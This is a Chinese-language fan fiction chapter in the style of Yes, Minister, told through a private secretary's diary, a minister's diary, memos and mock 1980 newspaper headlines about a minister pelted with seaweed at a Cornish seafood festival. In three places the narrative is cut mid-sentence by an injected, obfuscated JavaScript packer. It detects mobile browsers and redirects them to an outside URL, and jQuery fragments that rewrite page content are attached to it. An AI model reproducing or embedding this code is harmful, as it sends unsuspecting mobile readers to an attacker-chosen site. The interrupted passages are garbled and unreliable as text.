那份备忘录，我自然也是读过的。很完美的分析，标准的解决方案，只是和Sir之前说的“机会”存在些微妙的距离。但大臣看完之后的回复，确如Sir所想的那般决定亲自去现场协调。这是对大臣性格的把握吗？我不确定。 退出大臣的办公室，我拿着那份备忘录，绕过走廊，敲响了Sir办公室的门。他正在翻阅一份看起来像是关于康沃尔郡地方经济的报告，旁边放着一杯茶。 “看起来大臣选了C？”他抬头看了我一眼。 “Yes, Sir.”我尽量让声音平稳，“大臣决定，接受两项邀请。” 我将那份备忘录“还”给他，并且原句转达了大臣的话。Sir只是轻描淡写地发出一声“嗯哼”，划去了自己日程表上的一项安排，随后将目光重新投向报告。 “那么……关于备忘录中建议的‘紧急召集跨部门会议’？”我试探着问。 “暂时搁置。大臣既已选择亲临现场，那便让现场的力量来推动下一步的协调。DSC的职责，是为大臣提供支持，而非取代其决断。” 我不知道自己还能再说什么，但站在原地没动，直到Sir抬头问我有什么疑问。于是我询问他为什么毫不意外。 他说不是不意外，只是在意料之中，因为大臣是个“勇敢的行动派”。 行动主义者在面对“程序”和“现场”两个选项时，总会有一种天然的倾向性，去亲自验证“现场”的真实性。Sir这么解释。 总之，我离开Sir的办公室后去通知私人秘书处，为大臣准备两份演讲稿草案。一份用于渔民研讨会，强调可持续发展和中央政府的倾听姿态；另一份用于海鲜节开幕式，侧重康沃尔的旅游潜力与海鲜产业的经济贡献。确保每份稿件在逻辑上无懈可击，在提及另一场活动时保持必要的模糊。确保所有备选项都已就绪，以支持大臣的现场发挥，并应对突发情况。 1980年1月29日，星期二 | 伦敦-康沃尔，夜间卧铺列车 | 阴，有薄雾 今天比往常更忙碌。 我忙着核对地方联络官员的名单，确认交通住宿的细节，为大臣的康沃尔之行做最后的准备。 因为大臣在今天晚上有一项活动安排，我们只能选择乘坐帕丁顿开往彭赞斯的夜班卧铺列车，以确保能赶在明天上午的渔民研讨会开始前到达纽林港。 我将为大臣准备的康沃尔背景资料、两份讲稿草案、紧急联络人名单等装入公文包——大臣希望在车上阅读这些资料，又反复检查了所有细节。 上周IDISLM会议确立的DLO机制，各部门也提交了初步反馈，我安排我的助理秘书整理摘要。再三审阅，确认无误后，我带着文件敲响Sir办公室的门。 他仍坐在办公桌前，面前摊开几份文件，左手无名指上的绿宝石戒指在昏暗的灯光下闪着幽光。 在我完成DLO的口头简报后，Sir询问我关于康沃尔，有什么新的观察。 我汇报了今日准备工作的进展，并提到了上午与地方联络官电话确认时，对方提及旅游局在组织海鲜节时，对港口防波堤的使用问题，似乎曾与郡议会有过一些“非正式沟通”，但具体内容不详。我本以为这只是例行汇报，Sir却微微侧了侧头，目光变得深邃。 “很好，西里尔。”他拿起钢笔，在手边一份报告的空白处，写下了几个词。我不确定这代表什么，但直觉告诉我，这并非随意记录。 晚上，和大臣一起登上了前往彭赞斯站的夜间卧铺列车。 先陪大臣去了他的包厢，从公文包取出大臣需要的背景资料。 时间已经很晚了，但大臣看起来精神不错。他一边看着资料，一边和我聊起了康沃尔的历史，一路聊到当地一种名为“仰望星空派”的奇特食物。 “把鱼头戳出派皮，像在仰望星空。很有想象力，不是吗？一种绝望中的诗意。”大臣这么评价道。 我感觉他似乎在用一种他特有的方式，抵御着即将到来的压力。 今晚的夜色格外沉重，我希望明天，康沃尔不会比伦敦更冷。 1980年1月30日，星期三 | 伦敦，皮姆利科 | 大风 清晨的时候，我按约定的时间敲响了大臣的包厢门，大臣换了一套棕色的粗花呢夹克，显得更平易近人。他正在喝早茶，一边阅读我之前递交的康沃尔相关背景资料。 我和他问了好，将行程表和两份讲稿摊开放在小桌上，又拿出笔记本，准备为大臣做研讨会前的最后一轮分析。 “放松点，西里尔。”大臣放下文件，“你看起来比我还紧张。担心我会搞砸？嗯？” 我解释自己只是在确保所有应急预案都准备就绪。 “应急预案？”他挑起眉，开了个玩笑，问我是准备了媒体的公关预案，还是为他提前写好了辞职信。 我们当然准备了公关预案，这是必要的，无论预期的结果如何。 上午的研讨会，大臣的表现……超出了我的预期。他没有躲在官僚辞令后，而是走入渔民中间，让他们倾诉。他把普遍的愤怒，引导到了具体可解决的问题上。当他说出“我不能，约翰”时，那份真诚的坦白，以及随后“以个人名义致电银行”的承诺，虽然不确定效果，却真实地触动了人心。 只是这个有力的承诺，也存在风险模糊的风险，一个内阁大臣以个人名义致电银行，本身就是一种巨大的压力。这或许算的上是一种“越界”行为，违反了白厅的……一些惯例。 午餐之前，我按照规程，用电话向伦敦的办公室做一个简短的口头汇报，这是PPS的职责。 我向Sir报告了上午的情况，大臣与渔民的沟通非常成功，气氛从对抗转为建设性。大臣承诺将就执法、污染和补贴问题展开跨部门协调，并承诺亲自为一位濒临破产的渔民向银行求情。 Sir并没有直接评论大臣的承诺，只是提醒：“西里尔，保持警惕。上午的成功，可能会让下午的海鲜节变成一个更巨大的火药桶，渔民们现在对大臣的期待值已经完全不同了。” 接着和大臣共进午餐，大臣半是自言自语，半是和我倾诉，反思了他上午对布鲁塞尔相关问题的回避。我肯定了大臣的表现，做了一些分析，希望能让他好受些。但是好像并没有很有效，大臣似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294778|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗自决定了什么，让我有些不安，我小心提醒大臣，渔民对下午的活动，可能会有更高的期待。 下午……下午果然出事了。 大臣被泼上海带的那一刻，我甚至能听到自己心脏在胸腔里剧烈的跳动声。混乱、相机、闪光灯，还有那些混杂着欢呼和倒彩的声音，一切都来得太快。 我冲上去将大臣和媒体的镜头隔开，但作用并不大，媒体们已经收获了足够多的照片。我将大臣带到后台，帮他清理，安抚大臣的情绪。兰伯特局长那番“感谢”的话，击穿了所有表象。环境部突然发出的“紧急质询”，海鲜节的“巧合性”提前收场。 我紧急联系了秘书处，和Sir汇报了情况。 Sir短暂的沉默了一会儿，回复：“西里尔，确保大臣的安全。不要发表任何评论。立刻返回。我会处理媒体。” 回程的路，比来时漫长得多。在普利茅斯站我下车买了晚报，险些错过列车，如果我跑得再慢一点，恐怕就得让大臣独自一人乘火车回伦敦了。一个教训，往后要在身上多备些零钱。 当大臣问我是否向Sir汇报过防波堤的问题时，我感到了前所未有的压力。我只能如实回答。大臣听后的沉默，比任何质问都更沉重。他好像明白了什么，而我似乎也明白了一些东西。 今天的经历，远比任何文件和备忘录都更深刻。 我需要确保我的笔记本上，记录下所有，所有我能记住的细节。 1980年1月31日，星期四 | 伦敦，白厅 | 阴冷 今天早晨的大臣办公室，出奇地安静。 大臣坐在办公桌后，面前摊开着各个媒体的报纸，从《太阳报》耸人听闻的“天啊，我的鳕鱼！”到《泰晤士报》冷静克制的“渔业紧张局势爆发”。他一张张看过，没有发表任何评论，只是将它们默默地推到一边。然后从收文篮中翻出两份备忘录，签下名字。 Sir把我召进他办公室，询问康沃尔之行的细节。我递交了行程报告，尽可能客观地描述了所有事件，包括兰伯特先生在后台的那番话。 Sir听完后，没有发表任何评论。他只是拿起我的会议记录，指着渔民们提到的几个具体问题——“法尔茅斯河的工业污染”、“皇家海军渔业保护中队的巡逻频率”、“个体渔民燃油补贴的申请流程”。 “西里尔。”他说，“起草三份备忘录。分别致环境部、国防部和财政部。主题是‘关于协同协调部就康沃尔郡渔业可持续性问题收集到的初步地方反馈及后续跨部门信息征询’。引用大臣在研讨会上的承诺，要求他们就这三个具体问题，提供相关的政策文件、数据报告和现行流程说明。” 我愣住了。 “Sir……现在？”我有些迟疑，“鉴于媒体目前的……反应，我们现在主动接触这些部门，会不会被视为……” “被视为在履行职责，西里尔。”他纠正道，灰绿色的眼睛看着我，“媒体关注的是戏剧性。而白厅，关注的是程序。大臣在康沃尔做出了承诺，我们现在要做的，就是将这些承诺，转化为正式的、可追溯的公文。这证明我们没有因为‘意外’而停止工作。这，才是对昨天那场混乱最有力的回应。” 我明白了。在媒体的喧嚣之外，官僚机器的齿轮必须照常转动。Sir正在用无可指摘的方式，将大臣昨天那些看似即兴的承诺，变成插入其他部门运作体系的、小小的楔子。 我花了一整天时间来撰写那三份备忘录。措辞必须极度谨慎，既要传达出大臣的“关切”，又不能显得像是在“指令”或“调查”。 傍晚，大臣终于在他的办公室里开口说了今天第一句与工作无关的话。他看着窗外白厅的黄昏，低声问我：“西里尔，你觉得……我们昨天真的打开了几扇门吗？” 我看着手中即将发出的备忘录，无比确定地回答：“是的，大臣。我想是的。” 19. 查尔斯的日记（1980.1.30-31）+阿利斯泰的备忘 查尔斯·海德的日记 1980年1月30日，星期三 一次荒谬绝伦的外勤体验。 上午，我对那些饱经风霜的渔民们说了些漂亮的空话，承诺调查、检视、协调。 我避开了布鲁塞尔，避开了我的无能为力，避开了共同渔业政策那个真正的问题。 我明明到了实地，却不自觉做了个合格的、虚伪的政客，真是可笑。 约翰老渔民那句“你的可持续的未来，能帮我还上这笔钱吗？”像一根刺，直戳我的肺腑。 是的，我不能，我只能承诺打个电话。这就是我的极限？一个内阁大臣的极限？ 下午，我试图在海鲜节的舞台上玩弄辩证法，然后，一筐冰冷的海带浇醒了我。 物理的冲击，精神的洗礼。耻辱。 我狼狈不堪，像个落汤鸡，被记者们的闪光灯定格在那一刻，我几乎能想象到明天小报上的标题。 但最大的荒谬还在后面。 旅游局长兰伯特那张劫后余生的脸，那番“感谢”，那番“巧合”。 环境部紧急的“安全质询”，郡议会的“体面台阶”。 这根本不是巧合。 阿利斯泰·卡文迪许。那个声称“职责是服务于合法政府，而非效忠于特定党派”的家伙。那个精确预判我白板需求，提前安排妥当的家伙。那个在备忘录里写着“建议婉拒或开会”的家伙。 他没有亲自下场，他甚至没有直接介入。 我的公关灾难，成了他解决问题的工具。我的尴尬，为他争得了权力。 阿利斯泰·卡文迪许，我的代理常任秘书，给我上了一堂关于白厅丛林法则的入门课。 我拨通了那个熟悉的电话，用他的逻辑，向他要了我的政策成果。 我不知道我这艘船，是在驶向深渊，还是在驶向一个更复杂但更真实的海域。但我知道，我不能再仅仅是舞台上的表演者了。我得去了解，得去学习，那个幕后的导演，是如何编写剧本，如何拉动那些细线的。 1980年1月31日，星期四 我打了那个电话。为了约翰，也为了我自己。银行方面没有给出明确答复，但承诺会“重新评估”。一个微不足道，却真实存在的进展。 阿利斯泰遵守了他的承诺，约翰的资料和银行信息今天一早就送来了。 这很好。 他提供工具，我来使用工具。他构建系统，我来……让系统为我所用。 我们之间似乎达成了一种新的默契，他追求系统的完美，而我追求具体的结果。 或许，这条路能走得通。前提是，我们都清楚，谁才是那个真正握着缰绳的人。 —— —— —— 备忘录 （MEMORANDUM） 私人备忘录 - Note for File 编号（Ref）：CH/OBS/005/80 收件人（To）：A. Cavendish, Acting Perm. Sec. 发件人（From）：A. Cavendish, Acting Perm. Sec. 日期（Date）：31 January 1980 主题（Subject）：康沃尔纽林港事件的后续评估与未来策略 1. 目的达成： a）大臣成功介入地方性、高可见度、多方利益冲突的实际情景。 b）在媒体高压下，其即兴表现的风险性得到充分暴露。 c）成功创造了一次“可控的失败”，为DSC争取“重大地方访问跨部门预协调”职权提供了无可辩驳的证据。 2. 大臣表现评估： a）研讨会：表现出强烈的个人魅力和真诚的沟通意愿。成功安抚了部分渔民情绪，并识别出“执法效率”、“工业污染”、“燃油补贴流程”等具体问题。此为积极信号，表明其具备将宏观理想转化为具体行动议题的能力。对“不可干预商业银行决定”的坦诚，意外地建立了个人信誉，可视为一种“意外收获（unintended benefit）”。对约翰·特伦高夫的个人承诺（致电银行）值得注意，需后续评估其潜在影响。 b）海鲜节：过度简化问题，将复杂性归结为“悖论”，措辞不当，导致一方情绪失控。公关应对能力欠缺，对地方民众情绪预判不足。肢体冲突（被泼海带）虽属意外，但反映出其在复杂公共场合的脆弱性。 3. 媒体反响： a）《太阳报》、《每日镜报》等通俗报纸：重点渲染“大臣被泼海带”的戏剧性画面，攻击政府的“虚伪”与“脱节”，但其叙事主要停留在煽动性层面，缺乏深度。 b）《普利茅斯晚报》、《西部晨报》等地方报纸：记录事件经过，强调大臣上午的承诺，基调相对平衡，对DSC而言未完全负面。 c）《卫报》、《每日电讯报》、《泰晤士报》等严肃报纸：开始分析事件背后的深层社会与政策矛盾，并对大臣的形象进行复杂解读，提供了DSC后续公关可利用的“分析角度”。 4. 下一步行动： a）媒体公关：指示PPS（Cyril）密切关注后续报道，准备一份详细的媒体摘要，并协调唐宁街新闻办，利用严肃媒体的分析角度，将事件定性为“暴露国家深层矛盾的催化剂”，而非“大臣的个人失误”。重点强调DSC在“协调地方需求与中央政策”中的不可或缺性。 b）权力增量申请：立即起草一份备忘录至内阁秘书处（Sir Albert），以康沃尔事件为案例，正式申请将“所有大臣级地方访问的跨部门预协调”纳入DSC的强制性职权范围。强调此举旨在“维护政府形象，提升决策协同性，避免类似公关风险”。 c）大臣跟进：确保大臣充分理解此次事件的“深层价值”。他的愤怒与清醒，将是塑造其未来行为模式的关键动力。 结论： 康沃尔之行，是一次成功的压力测试。大臣的“直觉与行动”与系统“无形操控”形成了有效互动，他开始理解“看不见的手”的存在，下一步是加深这份理解。 A. Cavendish —— —— —— 1980年1月31日，星期四。 伦敦，白厅街70号，内阁办公厅。 阿利斯泰坐在内阁秘书艾伯特·萨克维尔爵士的办公室里，桌上放着一份文件。 “艾伯特爵士。”阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294779|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利斯泰的语调一如既往的平稳，“谨向您呈报协同协调部关于康沃尔纽林港大臣访问事件的后续情况及相关建议。” 艾伯特爵士坐在宽大的皮椅上，手指轻叩着桌面，目光扫过面前的备忘录标题：《关于优化跨部门地方高级别访问以维护政府形象的程序性建议》 他没有立刻翻开文件，而是先看向阿利斯泰。 “阿利，我听说，海德大臣在康沃尔的遭遇，已经成了舰队街最新的谈资。”声音平静，听不出任何倾向，“你在风险评估里提到的可能性……似乎都应验了。” “感谢您的关注，艾伯特爵士。”阿利斯泰不卑不亢，“风险评估是DSC的核心职能之一。正因本次事件暴露出的协调缺失，我才斗胆提交此份备忘录，旨在为未来提供一个更具协同效力的框架，避免再次发生类似令政府难堪的事件。” 艾伯特这才拿起文件，翻开。 备忘录内容的核心是建议建立一个非强制性的、纯信息报备系统。各部门可将部长的地方行程提前告知DSC，由DSC负责核对，提示可能存在的冲突风险。 他逐字阅读，脸上没有表情。直到读完，才缓缓合上文件。 “非强制性？”艾伯特微微挑眉，“你一向追求效率。” “Sir Albert.”阿利斯泰迎上艾伯特的目光，“在白厅，一个不容反驳的‘建议’，其效力有时胜过一份强硬的指令。” 他顿了顿：“如果各部门不主动报备，而未来再次发生类似康沃尔的‘公关灾难’，那首相办公室和内阁秘书处，便有充分的理由，对未能‘协同’的部门进行问责。这份‘非强制’的机制，反而让他们不得不主动寻求我们的‘建议’，以规避自身的风险。” 艾伯特的目光在阿利斯泰脸上停留了许久，他最终没有置可否，只是轻叩桌面。 几天后，首相办公室的一份内部知会（Internal Circular）悄然下发至所有部门： 内部知会 - Internal Circular 首相办公室 - Prime Minister''s Office 编号（Ref）：PMO/IC/007/80 抄送（Cc）：All Permanent Secretaries 发件人（From）：Cab Office（on advice from No.10 Press Office） 日期（Date）：4 February 1980 主题（Subject）：关于提升政府地方访问整体协同效力的建议 为持续优化政府部门在地方开展高级别访问的整体协同效能，唐宁街10号建议，各部门在规划大臣级或同等高级别官员的地方行程时，出于礼貌与协同精神，可提前与协同协调部（Department of Synergy Coordination）进行前期沟通。协同协调部将负责汇总相关信息，并可就潜在的日程冲突或公关风险提供信息参考与风险评估。 此举旨在促进政府内部信息流通，提升决策预见性，从而更好地服务于公共利益。此为非强制性建议，不改变各部门的自主规划与决策权。 特此知会。 20. 报纸内容+新闻之夜邀请 各大报纸1980.1.30-31刊登的内容 《太阳报（The Sun）》 标题：天啊，我的鳕鱼！（OH, MY COD!） 副标题：救命海带！大臣在海鲜节上遭到“热烈欢迎”，浑身湿透！（GET KELP! Drenched Minister Draws Furious ''Greeting'' at SeaFest!） 图：一张竖版特写，从查尔斯的胸口裁到头顶。查尔斯的身体因突如其来的冲击略微后倾，眼睛紧闭，眉头皱起，面上混合着震惊、厌恶和一丝茫然。几缕湿滑的海带贴在他的脸颊和额头上，冰冷的海水正顺着他的鼻尖往下滴，闪光灯下水珠晶莹剔透，格外狼狈。 文：一只装着海带的柳筐成了纽林渔民的“投票箱”，被扔向了试图安抚渔业危机的查尔斯·海德大臣。这位新晋大臣，在开幕式上刚谈完“海产的希望”，便遭到激愤渔民一记“腥味十足”的泼洒，衣衫尽湿，脸色铁青。在场游客与记者目瞪口呆，仿佛在见证一场政治滑铁卢…… 《每日镜报（Daily Mirror）》 标题：海德先生与杰基尔博士（MR. HYDE AND JEKYLL） 副标题：渔业政策遭质疑，愤怒渔民用海带向政府“投票”（Fisherfolk fight back, fling seaweed in signal of desperation） 图：一张横板中景，左侧是投掷海带的渔妇，右侧是被击中的查尔斯。渔妇被置于画面的视觉重点，手臂刚刚完成投掷的动作，身体前倾，脸上是深刻的皱纹和愤怒；查尔斯在画面的另一端，身体后仰，神情错愕，显得有些被动无力；背景中可以看到其他渔民或振臂高呼、或表情严峻的面孔。 文：协同协调部大臣查尔斯·海德，昨日在康沃尔的纽林港上演了一出充满讽刺的政治剧。在上午一场沉重的会议上，他誓言要解决渔民的生存危机；然而仅仅是几小时之后，他却站在庆祝海产消费的节日舞台上为一场“吃掉问题”的盛宴剪彩，渔民们让他尝到了愤怒的滋味。这一筐冰冷的海带，不仅浇熄了节日的虚假繁荣，也暴露了唐宁街那道无法弥合的裂痕…… 《普利茅斯晚报（Evening Herald）》 标题：节日未开“大幕”先湿：大臣被渔民海带“祝福”（Festival Falters: Minister Gets Seaweed Salute） 图：一张从舞台背面拍摄的黑白照片。查尔斯的背影面向港口方向站着，似乎正眺望远方；台下的渔民表情复杂，有人抱臂，有人双眉紧锁，有人面无表情；本地郡议会官员在侧耳阐释。 文：本应是一场展示康沃尔海产魅力的庆典，却以戏剧性的泼洒结束。协同协调部大臣查尔斯·海德在结束上午与渔民的密集研讨会后现身纽林海鲜节，却遭当众泼上海带，令人错愕。事件源于当天早些时候激烈的政策争论。节日活动提前中止，警方未做逮捕，但场面混乱一度引发游客疏散…… 《西部晨报（Western Morning News）》 标题：内阁大臣在纽林海鲜节上遭海带袭击，此前承诺就渔业危机采取行动 副标题：上午旧鱼市闭门座谈，下午海鲜节开幕短暂混乱，警方称无人被捕 图：全景大图。中央是被泼后的查尔斯，正被西里尔用手帕擦拭；左侧是举着相机疯狂拍照的记者们，闪光灯此起彼伏；右侧是以汤姆·彭罗斯和约翰·特伦高夫为首的渔民们，他们的脸上没有笑容，那位泼海带的渔妇还保持着刚扔完筐的姿势。几位游客惊恐和困惑的表情占据一角，天空阴沉，彩旗在风中凌乱地飘动。 文：协同协调部大臣查尔斯·海德昨日在纽林港成为渔民长久以来积怨的焦点，他在海鲜节开幕式上被当众泼上一筐海带。这起戏剧性的事件，发生在他刚刚于上午结束一场研讨会之后，会上他曾承诺将就巡逻执法、环境污染和燃油补贴问题采取三项具体行动，以缓解本地渔业的深重危机…… 《卫报（The Guardian）》 标题：两个康沃尔的故事（A Tale of Two Cornwalls） 副标题：海带抗议揭示裂痕：从“渔网到餐桌”的同一天（Seaweed protest lays bare the rift: from trawls to tables in a single day） 图：两图并置，左图是查尔斯上午与老渔民对视的近景，右图是往台下退的查尔斯和西里尔。左图右侧是满眼期盼的老渔民；左侧是眉头紧锁的查尔斯，神色严肃。右图是西装湿透的查尔斯，脸侧有一滴水正要滴落，低头看着自己满是海带的袖子，表情复杂，被西里尔拉着往后撤。 文：昨天发生在康沃尔的一幕极具象征意义。内阁大臣查尔斯·海德，在上午深入探讨鳕鱼数量锐减的危机后，下午却被要求为一场庆祝其消费的活动揭幕。这一安排所固有的矛盾，最终以一种粗暴而直接的方式爆发出来。泼向大臣的海带，不仅仅是抗议的工具，更是两个并行却日益疏远的康沃尔——一个依赖传统产业，另一个拥抱现代服务的——彼此间痛苦碰撞的隐喻…… 《每日电讯报（The Daily Telegraph）》 标题：海德直面渔民之怒（Hyde Confronts Fishermen''s Fury） 副标题：在纽林的混乱场面中，大臣呼吁对话的努力被暴力行为所取代 图：低角度仰拍，照片经过精心裁剪，以查尔斯为中心，去掉了投掷者，只留下了混乱的背景。查尔斯一手扶着讲台以稳住身体，另一只手下意识地抬起，似乎想抹去脸上的污物，但又停在了半空，神色震惊。背景是虚化过的群情激愤的人群，他们的面孔模糊不清，看起来像一个充满威胁的“暴民团体”。 文：协同协调部大臣查尔斯·海德昨日在康沃尔履行公务时，勇敢地直面了一场充满敌意的抗议。尽管他在上午的会议中已做出具体承诺，着手解决当地渔民面临的实际困难，但下午一场有组织的公开活动仍被少数极端分子的行为所破坏。这一令人遗憾的事件，已引发人们对公共秩序以及在当前政治气候下进行理性政策辩论之可能性的严重关切…… 《泰晤士报（The Times）》 标题：渔业紧张局势爆发，大臣在纽林集会上被泼 图：经典横板全景，黑白影调。左侧投掷的渔妇被身边的人拉住，但目光依旧锁定查尔斯；中心是查尔斯，他刚被击中，身体僵直，海带挂在他身上，但表情相对克制，主要是震惊；右侧，查尔斯的首席私人秘书脸色煞白，正一个箭步冲上前来，张开手臂试图遮挡；背景是记者们连成一片的闪光灯，远处的游客和本地居民表情各异。 文：一场旨在缓和康沃尔渔业社区与政府间紧张关系的访问，于昨日下午在混乱中告终。协同协调部大臣查尔斯·海德先生在纽林海鲜节开幕式上发表演讲时，被一名抗议者用海带袭击。该事件凸显了因欧洲共同渔业政策和国内经济压力而日益加剧的社会矛盾，并使政府面临如何有效应对边缘产业困境的严峻考验…… —— —— —— 1980年2月4日，星期一。协同协调部大臣办公室。 查尔斯面前放着两份文件。一份是BBC《新闻之夜》的采访邀请，另一份是阿利斯泰就此提交的风险评估备忘录： 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/MIN/MEDIA/002/80 收件人（To）：The Secretar ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294780|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' y of State（The Rt Hon Charles Hyde MP） 发件人（From）：A. Cavendish, Acting Permanent Secretary 日期（Date）：4 February 1980 主题（Subject）：关于参与BBC《新闻之夜》节目录制的风险评估与建议 Minister, 谨就BBC《新闻之夜》节目组邀请您参加讨论“新政府中新部门愿景”之意向，呈报以下评估与建议。 1.背景（Background）： 您近期康沃尔之行所引发的媒体反响，已将DSC及阁下本人置于公众舆论之中心。目前形象呈现出复杂且易受负面解读的倾向。 2.机会与风险（Opportunities & Risks）： a）机会：此次节目提供了一个潜在平台，可用于阐释DSC的设立宗旨、工作方法及未来愿景，从而改善部门与您个人的公众形象，争取公众理解。 b）风险：鉴于《新闻之夜》作为新开播政论节目（首播于1980年1月28日），其风格可能锐利且追求话题性。主持人可能针对您康沃尔之行、DSC模糊职能及白厅官僚主义现状，提出尖锐问题。言辞不慎，可能再次引发公关危机。 3.建议（Rmendation）： a）考虑到目前媒体环境与DSC初创之敏感阶段，建议暂不接受此类高风险、高曝光之访谈。应优先通过部门内部机制，稳定运作，逐步积累可量化之“协同成果”，以事实而非言辞回应质疑。 b）若阁下仍决意接受邀请，为最大限度降低风险，私人秘书处将为您准备一份“标准安全稿（Standard Safety Script）”。此稿将严格遵循白厅惯例，措辞稳妥，专注于部门程序与宏观愿景，避免评论具体政策争议或进行任何可能引发部门间误解之即兴发挥。同时，我们将协调BBC，确保访谈议题限定在事先商定的框架内。 请指示。 A. Cavendish 西里尔站在一旁，看着大臣读完备忘录。 阿利斯泰的建议一如既往地“正确”，规避风险，稳扎稳打。 查尔斯没有犹豫，直接在备忘录的建议b旁边写下了一个词：“同意（Agreed）”。 “Yes, Minister.”西里尔准备去执行。 “等等，西里尔。”查尔斯叫住了他，拿起电话听筒，按下了连接隔壁办公室的内线号码。 电话几乎是立刻被接起。 “阿利斯泰。”查尔斯的语气平静得就像在讨论伦敦的天气，“关于《新闻之夜》的采访，我决定参加。你的‘标准安全稿’很好，但我想做些微调。” 电话那头传来一个同样平静的声音：“请指示，大臣。” 查尔斯靠在椅背上：“首先，我要在节目上，亲自跟进我在康沃尔做出的三项承诺。我要让公众知道，环境部、国防部和财政部，已经收到了我们协同协调部的正式质询。其次……”他顿了顿，“我要公开宣布，DSC将设立一个‘渔业社区紧急困难补助基金’的可行性研究小组。” 西里尔屏住了呼吸。 电话那头沉默了一会儿。 “大臣。”阿利斯泰的声音听不出任何情绪，“这是一个非常……勇敢的提议。在财政部批准预算前公开宣布，可能会引发严重的跨部门紧张关系。” “没错。”查尔斯的声音带上了一丝笑意，“这就是为什么我需要你，阿利斯泰。我负责在聚光灯下打开那扇门，而你负责确保我走进去之后，身后不是万丈深渊。我想，这应该也属于‘协同协调’的一部分，不是吗？” 又一阵沉默。 最终，电话里传来回复，简洁清晰：“Yes, Minister.”